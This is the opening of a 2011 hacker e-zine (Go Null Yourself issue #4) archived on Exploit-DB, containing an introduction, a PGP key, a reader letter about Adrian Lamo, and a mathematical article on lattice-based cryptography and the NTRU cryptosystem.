- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 17184
- Проверка EDB
-
- Пройдено
- Автор
- STORM
- Тип уязвимости
- PAPERS
- Платформа
- EZINE
- CVE
- N/A
- Дата публикации
- 2011-04-18
Код:
__
_,-;''';`'-,.
,yNNNNNNNNo ,mMMMMMMMMd, _/', `; `; `\
-Mm oMd `NM: , _..,-'' ' ` ` `\
:Mm mM oMN mM: | ;._.,,-' .| |,_ ,, `\
.NMmmmmmmMM 'MMmmmmmNMN' -dh dd. | `;' ;' ;, `, ; | ' ' . \
:Mm MM. *purr* `; __` ,'__ ` , ` ; | ; \
dNNNNNNNNN, MM. yM :Mm MM. ; (6_); (6_) ; | , \ ' |
NM: :My MM. yM :Mm MM. ;; _,' ,. ` `, ' `-._ |
MM: :MN MM. yM :Mm MM. ,;.=..`_..=.,' -' ,'' _,--''
MM: :MM mMNmmmmmMM :Mm MM. _pb__\,`"=,,,=="',___,,,-----'''----'_'_'_''-;''
-----------------------'''''''''''''' hM) /'
.h+ sh :hdddddddh/ dd` :ds oddddddddy. ,ddddddd-d ,yddddddddo ,/ ,/'ddddddd`
-Mm+++++++oMM mMs:::::oMm MM. /Mh MM::::::hMh Mm+````` yMh`````yMM /' /Mh````````
/sssyMMssso- mM/ oMM MM. /Mh MM :+/ 'hhhhhhdM, yMh hh__,,-' /' MMNNNNNNNN.
.MM NMdyyyyydMN MMdyyyyymMh MM ,,,,,,,,MM sMN,/'_,,--''Mo My````````
`o+ `+ooooooo+` .+oooooooo: oo .oooooooo+: `/o| (ooooo /o- My
`' My
+:
0x01 Introduction || 0x08 MapReduce, Part 2 elchupathingy
0x02 Feedback + Edits || 0x09 Cameras + DVRs Scan storm
0x03 Lattice-Based Cryptography rattle || 0x0a 303-833-00xx Scan Shadytel, Inc
0x04 duper's Code Corner duper || 0x0b bit.ly Shenanigans Silks, elchupa
0x05 The Tech Behind Credit Cards K141 || 0x0c Programming Challenge storm
0x06 Brief Notes on Kiosk Hacking storm || 0x0d The Scoop on LIGATT
0x07 Linux Rootkit Dev Update duper || 0x0e Et Cetera, Etc. teh crew
[==================================================================================================]
[================================================]
Go Null Yourself E-Zine
Issue #4 - Spring/April 2011
www.GoNullYourself.org
"It makes sense if you don't think about it"
[================================================]
[==================================================================================================]
-=[ 0x01 Introduction
Ahoy there, and welcome to issue #4 of GNY Zine - just in time for spring! The sun is shining, the
birds are chirping, and with the advent of laptops, now all you little h4xx0rs have no excuse not to
go outside! For those who still prefer the cool depths of a basement, though, then GNY Zine has all
you need in lieu of vitamin D and a social life. Like crypto! And rootkits! And leet ASCII art!
We may not have iced tea, but here's a recipe to make up for it:
* 8 cups water
* 3 orange pekoe tea bags
* 3/4 cup SPLENDA® No Calorie Sweetener, Granulated
* 1/2 cup lemon juice
1. In a large saucepan, heat water to a rapid boil. Remove from heat and drop in the tea bags.
Cover and let steep for 1 hour.
2. In a large pitcher, combine the steeped tea and the SPLENDA® Granulated Sweetener. Stir until
dissolved, then stir in lemon juice. Refrigerate until chilled.
Hey, it got quite a few good reviews and only has 11 Calories.
Anyways, don't want to keep you. Those 3100 lines below aren't gonna read themselves. Enjoy the
zine, and see ya in the summer.
Notable Events
==============
January 2011 - Leak of LIGATT Security/Gregory D. Evans
January 31, 2011 - Go Null Yourself turns 3-years-old
February 3, 2011 - Exhaustion of remaining IPv4 address space
February 2011 - Leak of HBGary, Inc.
-=-=-
Now, on to formalities...
If you are interested in submitting content for future issues of GNY Zine, we would be happy to
review it for publication. Content may take many forms, whether it be a paper, review, scan, or
first-hand account of an event. Submissions of ASCII cover art that display the GNY logo in some
way are also appreciated. Well-received topics include computer hacking and exploitation methods,
programming, telephone phreaking (both analog and digital), system and network exploration, hardware
hacking, reverse engineering, amateur radio, cryptography and steganography, and social engineering.
We are also receptive to content relating to concrete subjects such as science and mathematics,
along with more abstract subjects such as psychology and culture. Both technical and non-technical
material is accepted.
Submissions of content, suggestions for and criticisms of the zine, and death threats may be sent
via:
- IRC private message (storm, m0nkee, or Barney- @ irc.gonullyourself.org #gny)
- Email ([email protected])
If there is enough feedback, we will publish some of the messages in future issues. Our PGP key is
available for use below.
We have devoted a lot of effort into this publication and hope that you learn something from reading
it. Abiding by our beliefs, any information within this e-zine may be freely re-distributed,
utilized, and referenced elsewhere, but we do ask that you keep the articles fully intact (unless
citing certain passages) and give credit to the original authors when and where necessary.
Go Null Yourself, its staff members, and the authors of GNY Zine are not responsible for any harm or
damage that may result from the information presented within this publication. Although people will
be people and act in idiotic fashions, we do not condone, promote, or participate in illegal
behavior in any way.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.11 (GNU/Linux)
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
8QJQ4gF00KrsCCSrPyg/cZ5G
=g7oJ
-----END PGP PUBLIC KEY BLOCK-----
[==================================================================================================]
-=[ 0x02 Feedback and Edits
We always strive to publish accurate information in GNY Zine, but we the authors and editors are in
fact human beings and are subject to making mistakes from time to time, despite our best efforts.
The publication, compilation, and distribution of this e-zine is derived entirely from our passion
for technology and curiosity of how things tick. GNY Zine has no commercial influences. If you
find that there is an error in content that we have published, please do not hesitate to email us so
that it may be announced and corrected in the next issue. Not acting like a stuck-up elitist about
it will probably invoke a more positive response too.
With that being said, we are also receptive to content or personal experiences relevant to
information presented in past issues. If you've written some code, applied a concept in a new way,
or just want to voice your opinion about a topic, send us an email!
We may be contacted at: [email protected]
(PGP key is available in the Introduction)
Please note that emails we like will be published in future issues, so specify if you wish for your
message to remain private or if you wish for us to redact certain personal information from it.
----------------------------------------------------------------------------------------------------
Turning Manning into the Feds turns an institution with relatively
unlimited power against Manning. The techniques used by Lamo were a
betrayal of trust given (arguably without having been earned) to Lamo.
Lamo is a snitch by definition. The fact that he still has hosting
on domains like resist.ca, is further evidence that resist.ca can not
be trusted as an anarchist resource.
The panel at HOPE in which Lamo was confronted framed the hacker
community as one that is filled with snitches. Members of the panel
told stories about how they were turned in by people they collaborated
with and trusted. Behavior like this closes doors to the flow of
information, welcomes the violence of authoritarian institutions, and
sets the foundation for the privatization of security research.
Behavior like Lamo's is in opposition to the safety and values of the
hacker community, and as a result should not be allowed space.
Idolizing individuals who act with such a disregard for the hacker
community they claim to be a part of with a glowing expose is a
disgrace to the hacker community.
With disgust,
evoltech
>> Thanks for sending us your opinion. Though, we checked and it seems like Adrian's website is
>> currently 404'ing (for those of you who didn't read the interview from issue #2, the URL is
>> http://users.resist.ca/~adrian/). We actually followed up on this and contacted resist.ca about
>> it, who replied:
Hi there,
Sorry we haven't responded to you yet about your question about Adrian Lamo's website on resist.ca.
We removed his various accounts becuase his motivations seem to be in conflict with ours (see
http://www.youtube.com/watch?v=ebLahUUr__s). Our project is politically motivated and we offer
services to projects that share our political alignment. Adrian's activities around the wikileaks
debacle suggest to us that he doesn't actually align with us politically.
For more information on the kinds of political activism we support, please read our mission
statement at http://resist.ca/mission and our basis of unity at http://resist.ca/basis
--The resist.ca collective
>> So, there you go.
[==================================================================================================]
-=[ 0x03 Lattice-Based Cryptography
-=[ Author: rattle
-=[ Website: http://www.awarenetwork.org/
p o s t - q u a n t u m
,----,----,--,--,-----.|¯¯|_.-----.-----.----.---.-.-----.|¯¯|--.--.--.
| __| _| | | = || _| = | = | _| = | = || | | |
|____|__| |___ | __||____|_____|___ |__| |___._| __||__|__|___ |
|_____|__| |_____| |__| |_____|
A Lattice-Based Crypto System
rattle // born // tobi
-- 0 Requirements --------------------------------------------------------------
I will expect readers to have a basic grasp of (linear) algebra. The terms I
will use without further explanation are the following:
- vector
- linear independence
- matrix
- rank of a matrix
- transpose of a matrix
- scalar products
- quotient rings Z(q) = { 0, ..., q-1 }
(where all operations are performed modulo q)
I also expect the reader to have a certain idea of computational complexity, if
even only the roughest. You should have heard of the following notions:
- Big-O notation (Landau symbols)
- Time/Space complexity of an algorithm
I really can not give a complete introduction to these topics here. I would
recommend literature, but all the undergraduate books on these topics that I
know are in German.
---- 0.1 Notation --------------------------------------------------------------
When A is some (n x m)-matrix (this means it has n rows and m columns), then
the entry in the i-th row and j-th column is denoted by A[i,j]. Similarly,
if a is a vector (which is just a (n x 1)-matrix), we will denote the i-th
entry of this vector by a[i]. The transpose of a matrix A is denoted by A°.
The canonical basis of real space will be denoted by e(1)...e(n), which are
the vectors defined by e(i)[j]=1 <=> i=j and e(i)[j]=0 otherwise.
We will denote the real numbers by R, the integer numbers by Z. The notation
X^n is to be read as "X to the n" and denotes Cartesian powers if X is a set,
otherwise it means multiplying X with itself n times, duh. In real space, if
a and b are vectors, we denote by
<a,b> = a[1]·b[1] + ··· + a[n]·b[n]
the Euclidean scalar product.
-- 1 Introduction --------------------------------------------------------------
Given linearly independent vectors B[1],...,B[n] in R^n, the lattice spanned
by these vectors is the set
L = { a[1]·B[1] + ... + a[n]·B[n] | a in Z^n }
of all integer linear combinations of them. The following is an example in R^2:
Each lattice point is marked by an x and the 'grid' has been ASCII-modelled
for your convenience.
^
|· · ·. · · ·. · ·
7 x · x · x ·
| ·. · · ·. · · ·. ·
6 | x · x · x
| · ·. · · ·. · · ·
5 | · x · x ·
| ·. · · ·. · · ·. ·
4 | x · x · x
| · ·. · · ·. · · ·.
3 | · x · x ·
| · · ·. · · ·. ·
2 | x · x · x
| · ·. · · ·. · · ·. ·
1 | · x · x · x
|· · ·. · · ·. · ·
--+---------------------------x---------------------------x----------------->
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
Figure 1: Example of a two-dimensional Lattice
Now, consider the following picture. We have added a "target" vector (marked €)
and a circle around it intersecting the closest lattice point, which is p=(5,3)
in this case.
^
|· · ·. · · ·. · ·
7 x · x · x ·
| ·. · · ·. · · ·. ·
6 | x · x · x
| · ·. · · ·. · · ·
5 | · x · x ·
| ·. · _·_ ·. · · ·. ·
4 | x Ž · ` x · x
| · ·. | · € | · ·. · · ·.
3 | · p , · x ·
| · · ¯ ¯ ·. · · ·. ·
2 | b · x · x
| · ·. · · ·. · · ·. ·
1 | · a · x · c
|· · ·. · · ·. · ·
--+---------------------------d---------------------------x----------------->
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
Figure 2: Lattice with target vector
Using the basis a=(4,1) and b=(1,2), it is easy to see that p = a + b. On the
other hand, using the basis c=(18,1) and d=(7,0), the same point has the less
simple description p = 3·c - 7·d. When passing to higher dimensions, this
phenomenon escalates drastically. This way, we obtain a computational problem
that varies from easy to virtually impossible to solve, depending very much on
on the lattice basis used.
---- 1.1 Lattice Problems ------------------------------------------------------
Let L be a lattice and g some real value greater or equal to one. We denote by
d(x,y) the distance from the point x to the point y. The lattice approximation
problems are the following:
CLOSEST VECTOR PROBLEM -- CVP(g):
For any vector t in R^n, let y be the lattice point closest to t. The task is
to find a lattice point x not equal to t such that d(x,t) is less or equal to
g·d(y,t). In other words, x is no further from t than g times the distance
from t to any lattice point.
SHORTEST VECTOR PROBLEM -- SVP(g):
Find a vector x such that x is no longer than g times the shortest lattice
vector. This is the special case of the CVP where t=(0,...,0) is the origin.
We also write SVP = SVP(1) and CVP = CVP(1) for the non-approximative problems.
---- 1.2 Lattice-based Encryption: Breakdown -----------------------------------
Based on these problems, we can build an assymetrical cryptosystem, which is
roughly described as follows:
a) Choose a random "good" basis and keep it as a private key.
b) Hand out a "bad" basis for the same lattice as a public key.
c) Somehow find a way to encode your messages as lattice points.
d) Encrypt a lattice point by simply distorting it randomly by a small vector.
e) Decryption now means that you have to find the lattice point closest to the
distorted vector (because it was the original message). This is now
equivalent to solving the CVP, which should only be possible when in
possession of a "good" basis.
---- 1.3 Analysis of SVP -------------------------------------------------------
We now give a brief historical analysis of the hardness of the SVP(g) - one
should note here that the CVP(g) is harder than the SVP(g), therefore it would
suffice if the SVP(g) was hard to solve. And indeed, from the algorithms known
so far, it seems that we can either achieve a polynomial runtime or a
polynomial approximation factor, but not both:
+--------+--------------+--------+-------------------------------------+
| g | Runtime | Space | Reference |
+--------+--------------+--------+-------------------------------------+
| 1 | 2^O(n) | 2^O(n) | [JHLW11, Combinatorial SVP-Solver] |
| 1 | 2^O(n log n) | poly | [Kan83] |
| poly | 2^O(n) | 2^O(n) | [MR09] |
| 2^O(n) | poly | ? | [LLL82] |
+--------+--------------+--------+-------------------------------------+
This has led to the following conjecture:
Conjecture 1.1. There is no polynomial time algorithm that approximates
lattice problems to within polynomial factors.
As far as exponential-time exact solvers are concerned, they have become
practical even for small instances just in the recent years:
+------+-------------------------+----------+-----------+
| Year | Authors | Time | Space |
+------+-------------------------+----------+-----------+
| 2001 | Ajtai, Kumar, Sivakumar | 2^O(n) | 2^O(n) |
| 2004 | Regev | 2^(16n) | 2^(8n) |
| 2008 | Nguyen, Vidick | 2^(5.9n) | 2^(3n) |
| 2010 | Pujol, Stelhé | 2^(2.5n) | 2^(1.2n) |
+------+-------------------------+----------+-----------+
One should note, however, that lattice reduction methods such as [LLL82] seem to
perform better in practice than their theoretic worst-case guarantees suggest.
This is not fully explained yet, but has experimental evidence: In [GN08],
different algorithms and several distributions on lattices were compared with
the result that they provide an approximation ratio of roughly g=d^n where d is
close to 1.012. Still, it seems that approximation rations of (1.01)^n are
outside the reach of known lattice reduction algorithms. We should note that
for __________
/ n
g > / --------
¯\/ log(n)
the SVP(g) is not NP-hard unless the polynomial time hierarchy collapses (you
should read this as "is not NP-hard"). However, it was shown in [Ajt98] that the
SVP=SVP(1) actually is NP-hard. Furthermore, there are no quantum algorithms
known that perform better than the classical ones. Because of this, lattice-
based cryptography is often labelled "post-quantum" cryptography. In summary, we
may very well assume that the SVP is a hard problem.
-- 2 NTRU ----------------------------------------------------------------------
We will now present a practical implementation of the rough idea presented in
subsection 1.2. For the mathematically inclined, a detailed explanation of why
the encryption scheme really works the way we outlined in 1.2 can be found in
[JHLW11].
---- 2.1 Mathematical Necessities ----------------------------------------------
We first require a couple of mathematical definitions and results, since NTRU
operates on a very special kind of lattices.
Definition 2.1. Let Z(q) = {0,...,q-1} be the integer numbers from 0 to q-1,
with all operations performed modulo q. We denote by p: Z --> Z(q) the map that
sends any number n to (n mod q). When A is a matrix with integer entries, we
denote by p(A) the matrix with entries in Z(q) which is obtained by reducing all
entries modulo q.
Definition 2.2. Let v in R^n be a vector an A an (n x n)-matrix. We then define
the matrix
/ \
| v[0] (A·v)[0] ··· (A^(n-1)·v)[0] |
| · · · |
(A*v) := | · · · |
| · · · |
| v[n] (A·v)[n] ··· (A^(n-1)·v)[n] |
\ /
whose i-th column is the result of applying A exactly (i-1) times to v. We also
define the special (n x n)-matrix
/ | \
| 0 · · · 0 | 1 |
| ---------------+--- |
| 1 0 · · 0 | 0 |
T := | 0 · · | · |
| · · · | · |
| · · 0 | · |
| 0 · · 0 1 | 0 |
\ | /
and will make frequent use of the matrix (T*v), which is the matrix whose i-th
column is just v, rotated by i.
Lemma 2.3. For any two vectors f and g,
1) (T*f)·g = (T*g)·f
2) T·(T*f) = (T*f)·T
3) (T*f)·(T*g) = (T*((T*f)·g))
Proof. Consider the (k x k)-matrices
/ \
| 0 · · 0 1 |
| · · 0 |
I(k) := | · · · |
| 0 · · |
| 1 0 · · 0 |
\ /
and the symmetrical (n x n)-matrices
/ | \
| I(k) | 0 |
S(k) := | ------+-------- |
| 0 | I(n-k) |
\ | /
Then, we have
/ \ / \ / \
| g[1] g[n] ·· g[2] | | <f,S(1)·g> | | <S(1)·f,g> |
| g[2] g[1] ·· g[3] | | <f,S(2)·g> | | <S(2)·f,g> |
(T*g)·f = | · · · | · f = | · | = | · | =: h
| · · · | | · | | · |
| g[n] g[n-1] ·· g[1] | | <f,S(n)·g> | | <S(n)·f,g> |
\ / \ / \ /
And clearly, (T*f)·g = h. This proves part (1) already. For the second state-
ment, we calculate (all index operations are performed modulo n):
__ n
<S(i-1)·f,(T^j)·g> = > (S(i-1)·f)[k] · ((T^j)·g)[k]
¯¯ k=1
__ i-1 __ n
= > f[i-k]·g[k-j] + > f[n+i-k]·g[k-j]
¯¯ k=1 ¯¯ k=i
__ i __ n+1
= > f[i-k+1]·g[k-j-1] + > f[n+i-k+1]·g[k-j-1]
¯¯ k=2 ¯¯ k=i+1
__ i __ n
= > f[i-k+1]·g[k-j-1] + > f[n+i-k+1]·g[k-j-1]
¯¯ k=1 ¯¯ k=i+1
= <S(i)·f,T^(j+1)·g>
which yields
/ \ / \ / \
| <S(1)·f,T^(j-1)·g> | | <S(n)·f,T^(j-1)·g> | | <S(1)·f,(T^j)·g> |
| <S(2)·f,T^(j-1)·g> | | <S(1)·f,T^(j-1)·g> | | <S(2)·f,(T^j)·g> |
T · | · | = | · | = | · |
| · | | · | | · |
| <S(n)·f,T^(j-1)·g> | | <S(n-1)·f,T^(j-1)·g> | | <S(n)·f,(T^j)·g> |
\ / \ / \ /
and therefore,
/ \
| <S(1)·f,T^(j-1)·g> |
T^(j-1) · h = (T*h)_j = | ... |.
| <S(n)·f,T^(j-1)·g> |
\ /
With this, it is now obvious that
/ \ / \
| f[1] f[n] · · f[2] | | g[1] g[n] · · g[2] |
| f[2] f[1] · · f[3] | | g[2] g[1] · · g[3] |
(T*f)·(T*g) = | · · · | · | · · · | = (T*h).
| · · · | | · · · |
| f[n] f[n-1] · · f[1] | | g[n] g[n-1] · · g[1] |
\ / \ / q.e.d.
Definition 2.4. Let n and d be positive integer numbers and d < n. A vector f in
Z^n is called a d-vector if it has exactly d negative and d+1 positive entries.
---- 2.2 The NTRU Cryptosystem -------------------------------------------------
We can now describe the process of key generation for the NTRU cryptosystem:
________________________________________________________________________________
Algorithm 1: NTRU-KEY-GENERATION
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Input: A prime number n, a "modulus" q, a "weight bound" d and an integer p<q.
Output: A private key (f,g) in Z^(2n) and a public key h in Z(q)^n.
________________________________________________________________________________
1: CHOOSE two d-vectors f' and g in {p,0,-p}^n randomly
2: SET f := f' + e(1)
3: IF p(T*f) is not invertible THEN
4: GOTO 1
5: SET h := (T*f)^(-1) · g
6: SET h := h mod q
7: RETURN (f,g) and h
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
The number q is called the modulus because we operate modulo q, the reason why
we call d the "weight bound" will become apparent later. From the choice of the
vectors f and g in the algorithm, we immediately obtain the following result:
Proposition 2.4. Let (f,g) and h be a key pair generated by Algorithm 1. Then,
(T*f) mod p = I and (T*g) mod p = 0.
Let us now take a look at the encryption and decryption routines:
________________________________________________________________________________
Algorithm 2: NTRU-ENCRYPTION
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Input: A prime number n, a modulus q, a weight bound d, a public key h, and a
d-vector m in {1,0,-1}^n encoding the message.
Output: A ciphertext c in Z(q)^n.
________________________________________________________________________________
1: CHOOSE a d-vector r in {1,0,-1}^n randomly
2: RETURN m + (T*h)·r
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
This encryption routine works exactly as step d) in 1.2: We choose a random
"distortion" vector r and distort the message by (T*h)·r. The result is our
ciphertext.
________________________________________________________________________________
Algorithm 3: NTRU-DECRYPTION
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Input: A prime number n, a modulus q, a weight bound d, an integer p < q,
a private key (f,g) in Z(q)^n and a ciphertext c in Z(q)^n.
Output: The plaintext message m in {1,0,-1}^n
________________________________________________________________________________
1: SET v := (T*f)·c
2: FOR i=1 TO n DO
3: CHOOSE t such that p(t)=w[i] and |t| is minimal
4: SET v[i] := t mod p
5: RETURN v
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
It is not yet clear why the decryption routine actually recovers the plaintext
from a given ciphertext - and in fact, it doesn't do so in every case:
Proposition 2.5. With a parameter choice satisfying
8dp + 4p + 2 < q, (#)
the NTRU-Cryptosystem works correctly.
Proof. Assume that c is a ciphertext generated by the NTRU-ENCRYPTION. Then,
by Lemma 2.3,
(T*f)·c = (T*f)·m + (T*f)·(T*h)·r = (T*f)·m + (T*((T*f)·h))·r
modulo q. Since h = (T*f)^(-1)·g, this gives us
(T*f)·c mod q = (T*f)·m + (T*g)·r mod q.
If the absolute values of all entries of the vector v := (T*f)·m + (T*g)·r are
bounded by q/2, the loop in steps 2 to 4 of the NTRU-DECRYPTION algorithm will
recover the value of v in Z^n and NOT just modulo q. By 2.4, this would then
mean
v mod p = (T*f)·m + (T*g)·r mod p = I·m = m.
Hence, let us inspect the vector v more closely. Its i-th entry is given by the
formula
__ n
v[i] = > ( (T*f)[i,j]·m[j] + (T*g)[i,j]·r[j] )
¯¯ j=1
__ n
= > ( (T^(j-1)·f)[i]·m[j] + (T^(j-1)·g)[i]·r[j] )
¯¯ j=1
__ n
= > ( f[i-j+1]·m[j] + g[i-j+1]·r[j] )
¯¯ j=1
We write f' := f - e(1), which is the vector chosen in step 1 of the
NTRU-KEY-GENERATION algorithm. Estimating the absolute value of v[i], it is
maximized for
f'[i-j+1] = -p if m[j] = -1 and g[i-j+1] = -p if r[j] = -1
p if m[j] = 1 p if r[j] = 1
Since f=f'+e(1), we get
|v[i]| <= (2d+1)·p + (2d+1)·p + 1 = 4dp + 2p + 1,
yielding (#), if we want the absolute values of v to be bounded by q/2; q.e.d.
-- 3 Further Reading -----------------------------------------------------------
If you would like to read the fullblown math article, it is reference [JHLW11]
and the URL to the PDF is given below.
---- 3.1 References ------------------------------------------------------------
[LLL82] A.K. Lenstra, H.W. Lenstra, and L. Lovasz, Factoring polynomials with
rational coefficients, Math. Ann. 261 (1982), 515-534.
[Kan83] Ravi Kannan, improved algorithms for integer programming and related
lattice problems, In Proc. 15th ACM Symp. on Theory of Computing (STOC)(1983),
193-206.
[Ajt98] M. Ajtai, The shortest vector problem in L2 is NP-hard for randomized
reduc-tions, Proc. of 30th STOC. ACM (1998), 10-19.
[GN08] N.Gama and P.Q.Nguyen, Predicting lattic reduction, Advances in
Cryptology, Proc. Eurocrypt '08, Lecture Notes in Computer Science, Springer
2008
[MR09] D.J. Bernstein, J. Buchmann and E. Dahmen, Post Quantum Cryptography,
chapter Lattice-based Cryptography by Daniele Micciancio and Oded Regev,
147-191, Springer 2009.
[JHLW11] Jesko Huettenhain, Lars A. Wallenborn, Lattice-Based Methods, Seminar
Topics in Post-Quantum Cryptography (2011),
http://www.uni-bonn.de/~rattle/works/lattices.pdf
-----------------------------------------------------------------------[ eof ]--
[==================================================================================================]
-=[ 0x04 duper's Code Corner
-=[ Author: duper
-=[ Website: http://projects.ext.haxnet.org/~super/
o o o
| | |
o-O o o o-o o-o o-o o-o o-o o-o o-O o-o o-o o-o o-o o-o o-o o-o
